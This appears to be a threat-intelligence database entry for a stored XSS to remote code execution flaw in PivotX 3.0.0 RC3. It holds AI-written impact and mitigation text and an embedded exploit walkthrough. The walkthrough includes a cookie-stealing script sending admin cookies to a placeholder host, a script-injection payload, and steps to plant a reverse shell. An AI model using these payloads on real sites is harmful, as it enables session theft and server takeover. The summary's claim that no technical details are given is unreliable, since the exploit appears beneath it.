PivotX 3.0.0 RC3 - Remote Code Execution (RCE)
PivotX 3.0.0 RC3 - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The security threat concerns a Remote Code Execution (RCE) vulnerability in PivotX version 3.0.0 Release Candidate 3 (RC3). PivotX is an open-source blogging and content management system (CMS) written in PHP, widely used for managing websites and blogs. An RCE vulnerability allows an attacker to execute arbitrary code on the affected server remotely, potentially gaining full control over the system. Although specific technical details of the exploit are not provided, the presence of exploit code indicates that the vulnerability can be actively leveraged by attackers. Typically, RCE vulnerabilities in web applications like PivotX arise from improper input validation, insecure deserialization, or flaws in file upload mechanisms, enabling attackers to inject and execute malicious payloads. The exploit code is indicated as 'text' format, suggesting it might be a script or payload snippet rather than a compiled binary or a specific programming language script. This vulnerability is classified as critical due to the high impact of remote code execution, which can lead to complete compromise of the web server, data theft, defacement, or pivoting to internal networks. No patch links are currently provided, and no known exploits in the wild have been reported yet, but the availability of exploit code increases the risk of imminent attacks.
Potential Impact
For European organizations using PivotX 3.0.0 RC3, this RCE vulnerability poses a severe risk. Successful exploitation could lead to unauthorized access to sensitive data, disruption of web services, and potential lateral movement within corporate networks. Given that PivotX is a CMS, websites hosting critical business information or customer data could be compromised, leading to reputational damage and regulatory consequences under GDPR. The ability to execute arbitrary code remotely means attackers could deploy ransomware, steal credentials, or establish persistent backdoors. The threat is particularly significant for organizations that have not updated or hardened their PivotX installations, especially those exposed to the internet without adequate network segmentation or web application firewalls. The absence of known exploits in the wild currently provides a small window for mitigation, but the presence of exploit code publicly available increases the urgency for proactive defense.
Mitigation Recommendations
1. Immediate action should be to upgrade PivotX installations to a version that addresses this vulnerability once available. In the absence of an official patch, organizations should consider disabling or restricting access to PivotX instances, especially those exposed to the internet. 2. Implement strict input validation and sanitization on all user inputs to reduce the risk of code injection. 3. Employ Web Application Firewalls (WAFs) configured to detect and block common RCE attack patterns targeting PivotX. 4. Conduct thorough security audits and penetration tests focusing on PivotX deployments to identify and remediate potential exploit vectors. 5. Restrict file upload permissions and ensure that uploaded files cannot be executed as code on the server. 6. Monitor logs and network traffic for unusual activities indicative of exploitation attempts. 7. Isolate PivotX servers within segmented network zones to limit potential lateral movement in case of compromise. 8. Educate system administrators about this vulnerability and the importance of timely patching and monitoring.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Poland
Indicators of Compromise
- exploit-code: # Exploit Title: PivotX v3.0.0 RC3 - Stored XSS to Remote Code Execution (RCE) # Date: July 2025 # Exploit Author: HayToN # Vendor Homepage: https://github.com/pivotx # Software Link: https://github.com/pivotx/PivotX # Version: 3.0.0 RC3 # Tested on: Debian 11, PHP 7.4 # CVE : CVE-2025-52367 ## Vulnerability Type: Stored Cross-Site Scripting (XSS) in the "title" and "subtitle" fields of page creation. The input is not sanitized and is stored directly to disk via PHP serialize(). ## Root Cause: In 'modules/pages_flat.php', function 'savePage($page)' stores page data via 'saveSerialize()' without any sanitization. The stored values are later rendered in the admin panel without escaping. Only the 'body' and 'introduction' fields are passed through TinyMCE (which encodes HTML). 'title' and 'subtitle' are rendered as raw HTML. Note: If you are already admin, skip steps 1-7 ## Exploitation Steps: 1. Login as an authenticated user (normal user, no need for admin). 2. Create a new Page via the dashboard, located at http://IP/PivotX/pivotx/index.php?page=page 3. Create locally a JavaScript file contaning cookie stealing code. For example: lol.js Containing: document.location = 'http://LOCAL_IP/bruh?c=' + document.cookie; 4. In the "Subtitle" field, input the following payload(Be sure to change the file name as yours): <script src="http://LOCAL_IP/lol.js"></script> 5. Publish the page. 6. When an admin views the published page in the blog, the XSS will execute in the admin’s context. 7. Using this XSS, send a payload to steal the admin's cookies, then insert the cookies on your site. 8. Navigate as admin, to http://IP/PivotX/pivotx/index.php?page=homeexplore, where you can edit index.php file 9. Edit index.php file to any php file you want to gain RCE on the target, could be with reverse shell or any other method. 10. Visit http://IP/PivotX/index.php and you should get a reverse shell :) # Full research - https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3
PivotX 3.0.0 RC3 - Remote Code Execution (RCE)
Description
PivotX 3.0.0 RC3 - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The security threat concerns a Remote Code Execution (RCE) vulnerability in PivotX version 3.0.0 Release Candidate 3 (RC3). PivotX is an open-source blogging and content management system (CMS) written in PHP, widely used for managing websites and blogs. An RCE vulnerability allows an attacker to execute arbitrary code on the affected server remotely, potentially gaining full control over the system. Although specific technical details of the exploit are not provided, the presence of exploit code indicates that the vulnerability can be actively leveraged by attackers. Typically, RCE vulnerabilities in web applications like PivotX arise from improper input validation, insecure deserialization, or flaws in file upload mechanisms, enabling attackers to inject and execute malicious payloads. The exploit code is indicated as 'text' format, suggesting it might be a script or payload snippet rather than a compiled binary or a specific programming language script. This vulnerability is classified as critical due to the high impact of remote code execution, which can lead to complete compromise of the web server, data theft, defacement, or pivoting to internal networks. No patch links are currently provided, and no known exploits in the wild have been reported yet, but the availability of exploit code increases the risk of imminent attacks.
Potential Impact
For European organizations using PivotX 3.0.0 RC3, this RCE vulnerability poses a severe risk. Successful exploitation could lead to unauthorized access to sensitive data, disruption of web services, and potential lateral movement within corporate networks. Given that PivotX is a CMS, websites hosting critical business information or customer data could be compromised, leading to reputational damage and regulatory consequences under GDPR. The ability to execute arbitrary code remotely means attackers could deploy ransomware, steal credentials, or establish persistent backdoors. The threat is particularly significant for organizations that have not updated or hardened their PivotX installations, especially those exposed to the internet without adequate network segmentation or web application firewalls. The absence of known exploits in the wild currently provides a small window for mitigation, but the presence of exploit code publicly available increases the urgency for proactive defense.
Mitigation Recommendations
1. Immediate action should be to upgrade PivotX installations to a version that addresses this vulnerability once available. In the absence of an official patch, organizations should consider disabling or restricting access to PivotX instances, especially those exposed to the internet. 2. Implement strict input validation and sanitization on all user inputs to reduce the risk of code injection. 3. Employ Web Application Firewalls (WAFs) configured to detect and block common RCE attack patterns targeting PivotX. 4. Conduct thorough security audits and penetration tests focusing on PivotX deployments to identify and remediate potential exploit vectors. 5. Restrict file upload permissions and ensure that uploaded files cannot be executed as code on the server. 6. Monitor logs and network traffic for unusual activities indicative of exploitation attempts. 7. Isolate PivotX servers within segmented network zones to limit potential lateral movement in case of compromise. 8. Educate system administrators about this vulnerability and the importance of timely patching and monitoring.
Affected Countries
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Technical Details
- Edb Id
- 52361
- Has Exploit Code
- true
- Code Language
- text
Indicators of Compromise
Exploit Source Code
Exploit code for PivotX 3.0.0 RC3 - Remote Code Execution (RCE)
# Exploit Title: PivotX v3.0.0 RC3 - Stored XSS to Remote Code Execution (RCE) # Date: July 2025 # Exploit Author: HayToN # Vendor Homepage: https://github.com/pivotx # Software Link: https://github.com/pivotx/PivotX # Version: 3.0.0 RC3 # Tested on: Debian 11, PHP 7.4 # CVE : CVE-2025-52367 ## Vulnerability Type: Stored Cross-Site Scripting (XSS) in the "title" and "subtitle" fields of page creation. The input is not sanitized and is stored directly to disk via PHP serialize(). ## Root Cause:
... (1571 more characters)
Threat ID: 687816daa83201eaacdebc97
Added to database: 7/16/2025, 9:17:14 PM
Last enriched: 8/11/2025, 1:23:40 AM
Last updated: 8/30/2025, 5:41:12 AM
Views: 67
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